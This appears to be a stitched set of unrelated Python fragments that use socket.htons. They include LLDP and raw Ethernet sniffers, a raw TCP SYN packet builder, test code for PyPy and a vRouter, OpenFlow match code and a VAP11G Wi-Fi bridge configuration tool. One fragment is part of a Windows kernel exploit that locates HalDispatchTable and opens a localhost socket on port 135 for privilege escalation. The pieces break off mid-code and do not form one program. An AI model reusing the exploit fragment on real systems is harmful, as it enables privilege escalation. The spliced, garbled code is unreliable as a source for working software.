hex_dest_mac = ':'.join(covert_hex_string(list(eth_dest_mac))) if eth_protocol == LLDP_PROTO_ID: log.debug("%s %s - SRC: %s, DEST: %s, Ethernet Protocol: %s" % (datetime.datetime.utcnow(), interface_name, hex_src_mac, hex_dest_mac, eth_protocol)) promiscuous_mode(interface_name, capture_sock, False) signal.signal(signal.SIGINT, signal.SIG_DFL) signal.signal(signal.SIGALRM, signal.SIG_DFL) signal.alarm(0) for tlv_parse_rv in unpack_lldp_frame(eth_payload): tlv_header, tlv_type, tlv_data_len, tlv_oui, tlv_subtype, tlv_payload \ = tlv_parse_rv log.debug("%s, %s, %s, %s, %s, %s" % (tlv_header, tlv_type, tlv_data_len, tlv_oui, tlv_subtype, tlv_payload)) if tlv_type == LLDP_TLV_TYPE_PORTID: rv[interface_name]['portid'] = re.sub( r'[\x00-\x08]', '', tlv_payload).strip() elif tlv_type == LLDP_TLV_DEVICE_NAME: rv[interface_name]['switch'] = tlv_payload elif tlv_type == LLDP_TLV_ORGANIZATIONALLY_SPECIFIC: if tlv_oui == LLDP_TLV_OUI_802_1 and tlv_subtype == 3: rv[interface_name]['vlan'] = re.sub( r'[\x00-\x08]', '', tlv_payload).strip() break # Reset interface state if toggle: toggle_interface(interface_name, state=next_state) # Build a table of results if args.pretty: x = PrettyTable( ["Interface", "State", "Kind", "Switch", "Port", "VLAN"]) x.padding_width = 1 for int_name, int_details in rv.items(): x.add_row([ int_name, int_details['state'], int_details['kind'], int_details['switch'], int_details['portid'], int_details['vlan'] ]) print x elif args.json: print json.dumps(rv)
#!/usr/bin/env python3 import socket import struct import binascii s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) data = s.recv(65565) #Ethernet Header ethernet_header = data[0:14] ethernet_header = struct.unpack("!6s6s2s", ethernet_header) desination_mac_address = (binascii.hexlify(ethernet_header[0])).decode() source_mac_address = (binascii.hexlify(ethernet_header[1])).decode() type = (binascii.hexlify(ethernet_header[2])).decode() print("Desination MAC Address:", desination_mac_address) print("Source MAC Address:", source_mac_address) print("Type:", type) print() #IP Header ip_header = data[14:34] ip_header = struct.unpack("!BBHHHBBH4s4s", ip_header) version_ip_header_length = ip_header[0] version = version_ip_header_length >> 4 ip_header_length = version_ip_header_length & 0xF ip_header_length = ip_header_length * 4
def __init__(self, raw_data): dest, src, prototype = struct.unpack('! 6s 6s H', raw_data[:14]) self.dest_mac = get_mac_addr(dest) self.src_mac = get_mac_addr(src) self.prototype = socket.htons(prototype) self.data = raw_data[14:]
ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr) source = 1234 # source port dest = raw_input("Enter the destination port. Preferably 80 for webservers.") # destination port seq = 0 ack_seq = 0 doff = 5 fin = 0 syn = 1 rst = 0 psh = 0 ack = 0 urg = 0 window = socket.htons (5840) check = 0 urg_ptr = 0 offset_res = (doff << 4) + 0 tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5) tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr) source_address = socket.inet_aton( source_ip ) dest_address = socket.inet_aton(dest_ip) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length);
def test_htons(): w_n = space.appexec([w_socket, space.wrap(125)], "(_socket, x): return _socket.htons(x)") assert space.unwrap(w_n) == socket.htons(125)
byref(written)) print "[+] creating socket..." sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0) if sock == -1: print "[-] no luck creating socket!" sys.exit(1) print "[+] got sock 0x%x" % sock addr = sockaddr_in() addr.sin_family = socket.AF_INET addr.sin_port = socket.htons(135) addr.sin_addr = socket.htonl(0x7f000001) connect(sock, byref(addr), sizeof(addr)) print "[+] sock connected." print "\n[+] GO!" (krnlbase, kernelver) = findSysBase() hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1) HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += krnlbase print "[+] HalDispatchTable address:", hex(HalDispatchTable) halbase = findSysBase("halmacpi.dll") OS = "7"
def __init__(self, data): dest, src, protocal = struct.unpack('! 6s 6s H', data[:14]) self.destinationMac = get_mac_address(dest) self.srcMac = get_mac_address(src) self.protocal = socket.htons(protocal) self.data = data[14:]
def test_cem_7113(vrouter_test_fixture): vt = vtest("test_cem_7113") # Add fabric interface vif = vr_interface_req() vif.h_op = vtconst.SANDESH_OPER_ADD vif.vifr_type = vtconst.VIF_TYPE_PHYSICAL vif.vifr_idx = 0 vif.vifr_name = "eth1" vif.vifr_transport = vtconst.VIF_TRANSPORT_PMD vif.vifr_vrf = 0 vif.vifr_mcast_vrf = 65535 vif.vifr_mac = vt_mac("00:1b:21:bb:f9:46") vif.vifr_mtu = 1514 vif.vifr_flags = vtconst.VIF_FLAG_VHOST_PHYS vt.send_sandesh_req(vif) # Add vhost0 vif vif = vr_interface_req() vif.h_op = vtconst.SANDESH_OPER_ADD vif.vifr_type = vtconst.VIF_TYPE_HOST vif.vifr_idx = 1 vif.vifr_name = "vhost0" vif.vifr_transport = vtconst.VIF_TRANSPORT_PMD vif.vifr_vrf = 0 vif.vifr_mcast_vrf = 65535 vif.vifr_mac = vt_mac("00:1b:21:bb:f9:46") vif.vifr_mtu = 1514 vif.vifr_ip = vt_ipv4("8.0.0.3") vif.vifr_nh_id = 5 vif.vifr_flags = vtconst.VIF_FLAG_L3_ENABLED | vtconst.VIF_FLAG_DHCP_ENABLED vt.send_sandesh_req(vif) # Add agent vif vif = vr_interface_req() vif.h_op = vtconst.SANDESH_OPER_ADD vif.vifr_type = vtconst.VIF_TYPE_AGENT vif.vifr_idx = 2 vif.vifr_name = "unix" vif.vifr_transport = vtconst.VIF_TRANSPORT_SOCKET vif.vifr_vrf = 65535 vif.vifr_mcast_vrf = 65535 vif.vifr_mac = vt_mac("00:00:5e:00:01:00") vif.vifr_mtu = 1514 vif.vifr_flags = vtconst.VIF_FLAG_L3_ENABLED vt.send_sandesh_req(vif) # Add tenant vif vif = vr_interface_req() vif.h_op = vtconst.SANDESH_OPER_ADD vif.vifr_type = vtconst.VIF_TYPE_VIRTUAL vif.vifr_idx = 3 vif.vifr_mcast_vrf = 2 vif.vifr_name = "tape703ea67-f1" vif.vifr_transport = vtconst.VIF_TRANSPORT_PMD vif.vifr_vrf = 2 vif.vifr_mac = vt_mac("00:00:5e:00:01:00") vif.vifr_mtu = 1514 vif.vifr_ip = vt_ipv4("1.1.1.5") vif.vifr_nh_id = 21 vif.vifr_flags = vtconst.VIF_FLAG_POLICY_ENABLED | vtconst.VIF_FLAG_DHCP_ENABLED vt.send_sandesh_req(vif) # Add tenant vif Nexthop nh = vr_nexthop_req() nh.h_op = vtconst.SANDESH_OPER_ADD nh.nhr_type = vtconst.NH_ENCAP nh.nhr_id = 21 nh.nhr_encap_oif_id = 3 nh.nhr_encap = vt_encap("02 c2 23 4c d0 55 00 00 5e 00 01 00 08 00") nh.nhr_encap_family = vtconst.VR_ETH_PROTO_ARP nh.nhr_vrf = 2 nh.nhr_flags = vtconst.NH_FLAG_VALID | vtconst.NH_FLAG_POLICY_ENABLED nh.nhr_family = socket.AF_INET vt.send_sandesh_req(nh) # Add vhost0 vif Nexthop nh = vr_nexthop_req() nh.h_op = vtconst.SANDESH_OPER_ADD nh.nhr_type = vtconst.NH_ENCAP nh.nhr_id = 5 nh.nhr_encap_oif_id = 1 nh.nhr_encap = vt_encap("00 1b 21 bb f9 46 00 1b 21 bb f9 46 08 00") nh.nhr_encap_family = vtconst.VR_ETH_PROTO_ARP nh.nhr_vrf = 0 nh.nhr_flags = vtconst.NH_FLAG_VALID | vtconst.NH_FLAG_POLICY_ENABLED nh.nhr_family = socket.AF_INET vt.send_sandesh_req(nh) # Add fabric vif Nexthop nh = vr_nexthop_req() nh.h_op = vtconst.SANDESH_OPER_ADD nh.nhr_type = vtconst.NH_ENCAP nh.nhr_id = 16 nh.nhr_encap_oif_id = 0 nh.nhr_encap = vt_encap("90 e2 ba 84 48 88 00 1b 21 bb f9 46 08 00") nh.nhr_encap_family = vtconst.VR_ETH_PROTO_ARP nh.nhr_vrf = 0 nh.nhr_flags = vtconst.NH_FLAG_VALID nh.nhr_family = socket.AF_INET vt.send_sandesh_req(nh) # Add receive Nexthop nh = vr_nexthop_req() nh.h_op = vtconst.SANDESH_OPER_ADD nh.nhr_type = vtconst.NH_RCV nh.nhr_id = 10 nh.nhr_encap_oif_id = 1 nh.nhr_vrf = 1 nh.nhr_flags = vtconst.NH_FLAG_VALID | vtconst.NH_FLAG_RELAXED_POLICY nh.nhr_family = socket.AF_INET vt.send_sandesh_req(nh) # Add fabric Route route = vr_route_req() route.h_op = vtconst.SANDESH_OPER_ADD route.rtr_family = socket.AF_INET route.rtr_nh_id = 10 route.rtr_prefix = vt_encap("08 00 00 03") route.rtr_prefix_len = 32 route.rtr_vrf_id = 0 route.rtr_label_flags = vtconst.VR_RT_ARP_TRAP_FLAG vt.send_sandesh_req(route) # Add tenant Route route = vr_route_req() route.h_op = vtconst.SANDESH_OPER_ADD route.rtr_family = socket.AF_INET route.rtr_nh_id = 21 route.rtr_prefix = vt_encap("01 01 01 05") route.rtr_prefix_len = 32 route.rtr_vrf_id = 2 route.rtr_label_flags = vtconst.VR_RT_ARP_PROXY_FLAG vt.send_sandesh_req(route) #Add forward Flow flow = vr_flow_req() flow.fr_op = vtconst.FLOW_SET flow.fr_flow_sip_l = vt_ipv4("8.0.0.1") flow.fr_flow_sip_u = 0 flow.fr_flow_dip_l = vt_ipv4("8.0.0.3") flow.fr_flow_dip_u = 0 flow.fr_family = socket.AF_INET flow.fr_index = -1 flow.fr_rindex = -1 flow.fr_flags = vtconst.VR_FLOW_FLAG_ACTIVE |\ vtconst.VR_FLOW_FLAG_VRFT |\ vtconst.VR_FLOW_FLAG_SNAT |\ vtconst.VR_FLOW_FLAG_DNAT |\ vtconst.VR_FLOW_FLAG_DPAT |\ vtconst.VR_FLOW_FLAG_LINK_LOCAL flow.fr_flow_proto = vtconst.VR_IP_PROTO_UDP flow.fr_flow_sport = socket.htons(53) flow.fr_flow_nh_id = 5 flow.fr_src_nh_index = 16 flow.fr_qos_id = -1 flow.fr_action = vtconst.VR_FLOW_ACTION_NAT flow.fr_flow_dport = socket.htons(60185) flow.fr_ecmp_nh_index = -1 flow.fr_flow_vrf = 0 flow.fr_flow_dvrf = 2 flow.rflow_sip_u = 0 flow.rflow_sip_l = vt_ipv4("1.1.1.5") flow.rflow_dip_u = 0 flow.rflow_dip_l = vt_ipv4("169.254.169.7") flow.rflow_nh_id = 21 flow.rflow_sport = socket.htons(33596) resp_file = vt.send_sandesh_req(flow, vt.VT_RESPONSE_REQD) fr_indx = vt.parse_xml_field(resp_file, "fresp_index") fr_genid = vt.parse_xml_field(resp_file, "fresp_gen_id") #Add reverse Flow flow = vr_flow_req() flow.fr_op = vtconst.FLOW_SET flow.fr_flow_sip_l = vt_ipv4("1.1.1.5") flow.fr_flow_sip_u = 0 flow.fr_flow_dip_l = vt_ipv4("169.254.169.7") flow.fr_flow_dip_u = 0 flow.fr_family = socket.AF_INET flow.fr_index = -1 flow.fr_rindex = int(fr_indx) flow.fr_flags = vtconst.VR_FLOW_FLAG_ACTIVE |\ vtconst.VR_RFLOW_VALID |\ vtconst.VR_FLOW_FLAG_VRFT |\ vtconst.VR_FLOW_FLAG_SNAT |\ vtconst.VR_FLOW_FLAG_DNAT |\ vtconst.VR_FLOW_FLAG_SPAT flow.fr_flow_proto = vtconst.VR_IP_PROTO_UDP flow.fr_flow_sport = socket.htons(33596) flow.fr_flow_nh_id = 21 flow.fr_src_nh_index = 21 flow.fr_qos_id = -1 flow.fr_action = vtconst.VR_FLOW_ACTION_NAT flow.fr_flow_dport = socket.htons(53) flow.fr_ecmp_nh_index = -1 flow.fr_flow_vrf = 2 flow.fr_flow_dvrf = 0 flow.rflow_sip_u = 0 flow.rflow_sip_l = vt_ipv4("8.0.0.1") flow.rflow_dip_u = 0 flow.rflow_dip_l = vt_ipv4("8.0.0.3") flow.rflow_nh_id = 5 flow.rflow_sport = socket.htons(53) resp_file = vt.send_sandesh_req(flow, vt.VT_RESPONSE_REQD) rfr_indx = vt.parse_xml_field(resp_file, "fresp_index") # Update forward flow flow = vr_flow_req() flow.fr_op = vtconst.FLOW_SET flow.fr_flow_sip_l = vt_ipv4("8.0.0.1") flow.fr_flow_sip_u = 0 flow.fr_flow_dip_l = vt_ipv4("8.0.0.3") flow.fr_flow_dip_u = 0 flow.fr_family = socket.AF_INET flow.fr_index = int(fr_indx) flow.fr_rindex = int(rfr_indx) flow.fr_flags = vtconst.VR_FLOW_FLAG_ACTIVE |\ vtconst.VR_RFLOW_VALID |\ vtconst.VR_FLOW_FLAG_VRFT |\ vtconst.VR_FLOW_FLAG_SNAT |\ vtconst.VR_FLOW_FLAG_DNAT |\ vtconst.VR_FLOW_FLAG_DPAT |\ vtconst.VR_FLOW_FLAG_LINK_LOCAL flow.fr_flow_proto = vtconst.VR_IP_PROTO_UDP flow.fr_flow_sport = socket.htons(53) flow.fr_flow_nh_id = 5 flow.fr_src_nh_index = 16 flow.fr_gen_id = int(fr_genid) flow.fr_qos_id = -1 flow.fr_action = vtconst.VR_FLOW_ACTION_NAT flow.fr_flow_dport = socket.htons(60185) flow.fr_ecmp_nh_index = -1 flow.fr_flow_vrf = 0 flow.fr_flow_dvrf = 2 flow.rflow_sip_u = 0 flow.rflow_sip_l = vt_ipv4("1.1.1.5") flow.rflow_dip_u = 0 flow.rflow_dip_l = vt_ipv4("169.254.169.7") flow.rflow_nh_id = 21 flow.rflow_sport = socket.htons(33596) resp_file = vt.send_sandesh_req(flow, vt.VT_RESPONSE_REQD) fr_indx = vt.parse_xml_field(resp_file, "fresp_index") eth = Ether(dst='00:1b:21:bb:f9:46', src='90:e2:ba:84:48:88', type=0x800) ip = IP(version=4, ihl=5, id=1, ttl=64, proto='udp', src='8.0.0.1', dst='8.0.0.3') udp = UDP(sport=53, dport=60185) dns = DNS() pkt = eth / ip / udp / dns pkt.show() # send packet vt.send_pkt(pkt, "eth1") # Check if the packet was sent to tenant vif vif = vr_interface_req() vif.h_op = vtconst.SANDESH_OPER_GET vif.vifr_idx = 3 vif_resp_file = vt.send_sandesh_req(vif, vt.VT_RESPONSE_REQD) vif_opackets = vt.parse_xml_field(vif_resp_file, "vifr_opackets") assert (vif_opackets.find("1") != -1), "Failed to receive NATed packet"
from uuid import getnode as get_mac import struct import binascii #Calculating the CIDR of the netmask def calculateCIDR(networkmask): binary_str = '' for octet in networkmask: binary_str += bin(int(octet))[2:].zfill(8) return str(len(binary_str.rstrip('0'))) #Binding the socket with the ethernet port and ip protocol raw_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) raw_socket.bind(('eth0', socket.htons(0x0800))) #To find local ip address and net mask eth_address = netifaces.ifaddresses("eth0") ip_and_mask = eth_address[socket.AF_INET][0] print "Your IP address: " + ip_and_mask['addr'] print "Your net mask: " + ip_and_mask['netmask'] #Formatting IP and CIDR to fetch the list of IP in the subnet ip_and_cidr = ip_and_mask['addr'] + '/' + calculateCIDR( ip_and_mask['netmask'].split('.')) #Gives a list of all hosts in the network network_range = list(netaddr.IPNetwork(ip_and_cidr))
def read_reg_femb(self, femb_addr, reg): regVal = int(reg) if (regVal < 0) or (regVal > self.MAX_REG_NUM): #print "FEMB_UDP--> Error read_reg: Invalid register number" return None #set up listening socket, do before sending read request sock_readresp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Internet, UDP sock_readresp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) if (femb_addr == 0): sock_readresp.bind(('', self.UDPFEMB0_PORT_RREGRESP)) elif (femb_addr == 1): sock_readresp.bind(('', self.UDPFEMB1_PORT_RREGRESP)) elif (femb_addr == 2): sock_readresp.bind(('', self.UDPFEMB2_PORT_RREGRESP)) elif (femb_addr == 3): sock_readresp.bind(('', self.UDPFEMB3_PORT_RREGRESP)) sock_readresp.settimeout(2) #crazy packet structure require for UDP interface READ_MESSAGE = struct.pack('HHHHHHHHH', socket.htons(self.KEY1), socket.htons(self.KEY2), socket.htons(regVal), 0, 0, socket.htons(self.FOOTER), 0, 0, 0) sock_read = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Internet, UDP sock_read.setblocking(0) if (femb_addr == 0): sock_read.sendto(READ_MESSAGE, (self.UDP_IP, self.UDPFEMB0_PORT_RREG)) elif (femb_addr == 1): sock_read.sendto(READ_MESSAGE, (self.UDP_IP, self.UDPFEMB1_PORT_RREG)) elif (femb_addr == 2): sock_read.sendto(READ_MESSAGE, (self.UDP_IP, self.UDPFEMB2_PORT_RREG)) elif (femb_addr == 3): sock_read.sendto(READ_MESSAGE, (self.UDP_IP, self.UDPFEMB3_PORT_RREG)) sock_read.close() #try to receive response packet from board, store in hex data = [] try: data = sock_readresp.recv(4 * 1024) except socket.timeout: self.udp_timeout_cnt = self.udp_timeout_cnt + 1 #print "FEMB_UDP--> Error read_reg: No read packet received from board, quitting" sock_readresp.close() return -1 dataHex = data.encode('hex') sock_readresp.close() #extract register value from response if int(dataHex[0:4], 16) != regVal: #print "FEMB_UDP--> Error read_reg: Invalid response packet" return None dataHexVal = int(dataHex[4:12], 16) #print "FEMB_UDP--> Write: reg=%x,value=%x"%(reg,dataHexVal) return dataHexVal
def encode_port(port): port_net = socket.htons(port) port_high = port_net >> 8 port_low = port_net & 0xFF return '\002%c%c' % (port_high, port_low)
def set_match(attrs): m = openflow.ofp_match() wildcards = 0 num_entries = 0 if attrs.has_key(core.IN_PORT): m.in_port = htons(attrs[core.IN_PORT]) num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_IN_PORT if attrs.has_key(core.DL_VLAN): m.dl_vlan = htons(attrs[core.DL_VLAN]) num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_DL_VLAN if attrs.has_key(core.DL_VLAN_PCP): m.dl_vlan_pcp = attrs[core.DL_VLAN_PCP] num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_DL_VLAN_PCP if attrs.has_key(core.DL_SRC): v = convert_to_eaddr(attrs[core.DL_SRC]) if v == None: raise RuntimeError('invalid ethernet addr') m.set_dl_src(v.octet) num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_DL_SRC if attrs.has_key(core.DL_DST): v = convert_to_eaddr(attrs[core.DL_DST]) if v == None: raise RuntimeError('invalid ethernet addr') m.set_dl_dst(v.octet) num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_DL_DST if attrs.has_key(core.DL_TYPE): m.dl_type = htons(attrs[core.DL_TYPE]) num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_DL_TYPE if attrs.has_key(core.NW_SRC): v = convert_to_ipaddr(attrs[core.NW_SRC]) if v == None: raise RuntimeError('invalid ip addr') m.nw_src = v num_entries += 1 if attrs.has_key(core.NW_SRC_N_WILD): n_wild = attrs[core.NW_SRC_N_WILD] if n_wild > 31: wildcards |= openflow.OFPFW_NW_SRC_MASK elif n_wild >= 0: wildcards |= n_wild << openflow.OFPFW_NW_SRC_SHIFT else: raise RuntimeError('invalid nw_src wildcard bit count: %u' % (n_wild,)) num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_NW_SRC_MASK if attrs.has_key(core.NW_DST): v = convert_to_ipaddr(attrs[core.NW_DST]) if v == None: raise RuntimeError('invalid ip addr') m.nw_dst = v num_entries += 1 if attrs.has_key(core.NW_DST_N_WILD): n_wild = attrs[core.NW_DST_N_WILD] if n_wild > 31: wildcards |= openflow.OFPFW_NW_DST_MASK elif n_wild >= 0: wildcards |= n_wild << openflow.OFPFW_NW_DST_SHIFT else: raise RuntimeError('invalid nw_dst wildcard bit count: %u' % (n_wild,)) num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_NW_DST_MASK if attrs.has_key(core.NW_PROTO): m.nw_proto = attrs[core.NW_PROTO] num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_NW_PROTO if attrs.has_key(core.NW_TOS): m.nw_tos = attrs[core.NW_TOS] num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_NW_TOS if attrs.has_key(core.TP_SRC): m.tp_src = htons(attrs[core.TP_SRC]) num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_TP_SRC if attrs.has_key(core.TP_DST): m.tp_dst = htons(attrs[core.TP_DST]) num_entries += 1 else: wildcards = wildcards | openflow.OFPFW_TP_DST if num_entries != len(attrs.keys()): raise RuntimeError('undefined flow attribute type in attrs: %s' % (attrs,)) m.wildcards = c_htonl(wildcards) return m
def main(): global debug, defaultInterface, verbose parser = OptionParser() parser.add_option("-i","--interface",dest="interface",help="destination LAN (ethernet) "+\ "interface (e.g. eth0, eth1)",metavar="interface") parser.add_option("-d", "--debug", action="store_true", default=debug, dest="debug", help="debug mode switch", metavar="debug") parser.add_option("-v", "--verbose", action="store_true", default=debug, dest="verbose", help="same as debug mode (-d)", metavar="verbose") parser.add_option("-s", "--ssid", dest="ssid", help="ESSID, network name", metavar="ssid") parser.add_option("-c","--channel",type="int",dest="channel",help="channel number, from"+\ " 0 (auto) to 11, does NOT influence ssid search",metavar="channel") parser.add_option("-n", "--noauth", action="store_true", default=False, dest="noauth", help="network authentication disabled", metavar="noauth") parser.add_option("-w", "--wep", action="store_true", default=False, dest="wep", help="network authentication using WEP", metavar="wep") parser.add_option("-p", "--wpa", action="store_true", default=False, dest="wpa", help="network authentication using WPA", metavar="wpa") parser.add_option("-a", "--wpa2", action="store_true", default=False, dest="wpa2", help="network authentication using WPA2", metavar="wpa2") parser.add_option("-k", "--key", dest="key", help="network passphrase, password, key", metavar="key") parser.add_option("-t", "--strong", action="store_true", default=False, dest="strong", help="128 bit strong encryption", metavar="strong") (options, args) = parser.parse_args() interface = "" if not options.interface is None: interface = options.interface if not interface: interface = defaultInterface if options.verbose: verbose = True if options.debug: debug = True print "[i] Interface name to use: " + interface if not options.channel is None: tmpChannel = int(options.channel) if tmpChannel < 0 or tmpChannel > 12: print "[-] Error: channel number must be 0 (auto) or between 1 and 11" exit(1) if not options.ssid is None: if len(options.ssid) < 1 or len(options.ssid) > 32: print "[-] Error: ESSID network name must be less than 32 alphanumeric characters" exit(1) # options.noauth options.wep options.wpa options.wpa2 options.key if options.noauth and not options.key is None: print "[-] Error: if noauth mode is used you can't specify a network key" exit(1) exlusiveOption = 0 for i in (options.noauth, options.wep, options.wpa, options.wpa2): if i: exlusiveOption += 1 if exlusiveOption > 1: print "[-] Error: you can only use one security protocol (e.g. WEP,WPA2) at a time" exit(1) # START # our raw socket s = socket(PF_PACKET, SOCK_RAW, htons(ETH_ALL)) s.bind((interface, ETH_ALL)) src = getHwAddr(s, interface) # first request: check if there are some devices connected s.send(buildRequest(src, ETH_BROADCAST)) (msg, address) = read(s) if verbose: print "[i] The response:" print hexdump(str(msg)) dst = eth_rev_aton(address[-1]) if debug: print "[i] Got response from device on interface '%s' with mac %s" % ( address[0], dst) # force rescan of ssids (networks) s.send(buildRequest(src, dst, COMMAND_DEVICE_STATUS)) read(s) s.send( buildRequest(src, dst, COMMAND_CONFIG + '\x01', str(DATA_REQUEST_SCAN) + DATA_END)) read(s) s.send(buildRequest(src, dst, COMMAND_REQUEST_RESPONSE + '\x02')) read(s) time.sleep( 4) # we need this, otherwise we always get an empty network list # get device info start: s.send( buildRequest(src, dst, COMMAND_CONFIG + '\x01', str(DATA_REQUEST_CONFIG) + DATA_END)) (msg, address) = read(s) if verbose: print "[i] The response:" print hexdump(str(msg)) # fetch the info: s.send(buildRequest(src, dst, COMMAND_REQUEST_RESPONSE + '\x02')) (msg, address) = read(s) if verbose: print "[i] The response:" print hexdump(str(msg)) if debug: print "[i] Box data:" print msg[26:-1] if "VAP11G" not in msg: print "[-] Box data does NOT contain the right BOX_NAME identifier. EXIT" exit(1) finalMsg = "" # get SURVEY (next packet) msg = read(s, False) while not msg is None: if verbose: print "[i] The response:" print hexdump(str(msg[0])) finalMsg += msg[0] msg = read(s, False) s.send(buildRequest(src, dst, COMMAND_REQUEST_RESPONSE + '\x03')) finalMsg = finalMsg.replace('\x0b', '\n') # next column splitMsg = finalMsg.split("7021 SURVEY:") configCurr = splitMsg[0][26:] if debug: print "[i] Current settings:" print configCurr config = parseCurrentConfig(configCurr) num = 0 netList = () if not (options.key or options.noauth or options.wep or options.wpa or options.wpa2 or options.channel or options.ssid): print "[i] Networks:" if len(splitMsg) > 1 and splitMsg[1]: try: bandIndex = splitMsg[1].index("7022 BAND:") except: if verbose: print "[i] BAND indication NOT found:" if bandIndex > 0: networkStr = splitMsg[1][0:bandIndex].strip() else: networkStr = splitMsg[1].strip() netList = parseNetworkStr(networkStr) printNetworks(netList) while num < 1 or num > len(netList) + 1: try: num = int( raw_input("[i] Please choose one of the options above: ")) except KeyboardInterrupt: print "\n" exit(1) except: num = 0 else: num = 1 # initialization, default options essid = "" channel = 0 secmode = SECURITY_OPTIONS.index("WPA2-PSK") keylen = 32 key0 = "" key1 = "" key2 = "" key3 = "" authen = 0 # first one psk = "" band = 0 # auto if num - 1 < len(netList): try: (macAddress, netDetails) = netList.items()[num - 1] except: print "[-] Could not read network details for configuration number %d" % num exit(1) try: essid = netDetails["name"] if not essid or len(essid) < 2: essid = raw_input("[i] Please insert the hidden SSID: ") except: essid = "" try: tmpChannel = int(netDetails["channel"]) if tmpChannel > 0 and tmpChannel < 12: channel = tmpChannel except: channel = 0 secmode = int(netDetails["security"]) else: if not options.ssid is None and len(options.ssid) > 0: essid = options.ssid else: while len(essid) < 1 or len(essid) > 32: essid = raw_input("[i] Please insert the SSID: ") if not options.channel is None: channel = options.channel else: channel = -1 while channel < 0 or channel > 11: try: channel=int(raw_input("[i] Please choose the channel number from 0 (auto)"+\ " to 11: ")) except KeyboardInterrupt: print "\n" exit(1) except: channel = -1 if options.noauth or options.wep or options.wpa or options.wpa2: if options.noauth: secmode = SECURITY_OPTIONS.index("Disable") elif options.wep: secmode = SECURITY_OPTIONS.index("WEP") elif options.wpa: secmode = SECURITY_OPTIONS.index("WPA-PSK") elif options.wpa2: secmode = SECURITY_OPTIONS.index("WPA2-PSK") else: secmode = getSecmodeSelection() if not secmode == SECURITY_OPTIONS.index( "Disable"): # do nothing for disabled if secmode == SECURITY_OPTIONS.index("WEP"): passphrase = "" if not options.key is None and len(options.key) > 0: passphrase = options.key if options.strong: num = 2 else: num = 1 else: count = 1 # print all WEP options: print "[i] WEP key input method:" for i in WEP_OPTIONS: print str(count) + ") " + i count += 1 num = 0 while num < 1 or num > len(WEP_OPTIONS): try: num = int( raw_input( "[i] Please choose one of the options above: ") ) except KeyboardInterrupt: print "\n" exit(1) except: num = 0 if num == 1 or num == 2: # WEP using passphrases (key0, key1, key2, key3) = passphrase2WepKeys(num == 2, passphrase) else: (key0, key1, key2, key3) = inputWepKeys(num == 4) if num == 3: authen = -1 while authen < 0 or channel > 11: try: authen = int( raw_input( "[i] Please choose the key index to be used 1-4:" )) except KeyboardInterrupt: print "\n" exit(1) except: authen = -1 authen -= 1 # this is the index VAP11g uses 0-3, NOT 1-4 # set the keylen variable if num == 2 or num == 4: # 128 bits keylen = 13 else: # 64 bits keylen = 5 else: if options.key: psk = options.key length = len(psk) while length < 8 or length > 64: psk=getpass.getpass("[i] Please insert the passphrase (min 8 chars,will NOT be "+\ "displayed): ") length = len(psk) if psk and not secmode == SECURITY_OPTIONS.index('WPA-PSK'): pskset = 1 else: pskset = 0 payload="7000 :"+essid+"\n7001 :16\n7002 :"+str(channel)+"\n7003 :"+\ str(secmode)+"\n7004 :"+str(keylen)+"\n7005 :0\n7006 :"+key0+"\n7007 :"+\ key1+"\n7008 :"+key2+"\n7009 :"+key3+"\n7012 :"+str(authen)+"\n7013 :0"+\ "\n7018 :"+str(pskset)+"\n7019 :"+psk+"\n7022 :0\n" # send changes: # 7000: SSID 7001: domain, # 7002: channel (0==auto) 7003: secmode (WPA TYPE? 0,1,2,3), # 7004: keylen(e.g.5 or 13) 7005: defaultkey, # 7006: key0, (wep) 7007: key1, (wep) # 7008: key2, (wep) 7009: key3, (wep) # 7012: authen (WEP TYPE?), 7013: mode (0), # 7014: linkinfo (NO SET), 7017: wpamode (WPA) NO DIRECT SET, # 7018: pskalset, 7019: pskkey, # 7020: pskal (TKIT,AES), 7021: survey (NO SET), # 7022: band (0==auto) s.send(buildRequest(src, dst, COMMAND_CONFIG + '\x01', payload)) s.send(buildRequest(src, dst, COMMAND_REQUEST_RESPONSE + '\x02')) # get OKAY status s.send(buildRequest(src, dst, COMMAND_DEVICE_STATUS)) success = read(s) if verbose: print "[i] The response:" print hexdump(str(success[0])) if success[0][22] == '\x02': print "[+] Device did accept the configuration and will reboot now" print "[i] The device's led will become blue when the ssid was found, this does NOT\n"+\ " imply that the connection was indeed successful. You should test that with"+\ ":\n sudo dhclient3 %s\n ping www.google.com # example\n" % interface +\ " while disabling all other interfaces (e.g. wlan0)" print "[i] Please re-execute the script to see the (new) wireless configuration" else: print "[-] It seems that the device did not accept your configuration:\n"+\ "status code was: %02x, will reboot anyway" % ord(success[0][22]) s.send( buildRequest(src, dst, COMMAND_CONFIG + '\x01', str(DATA_REQUEST_RESET) + DATA_END)) s.send(buildRequest(src, dst, COMMAND_REQUEST_RESPONSE + '\x02'))
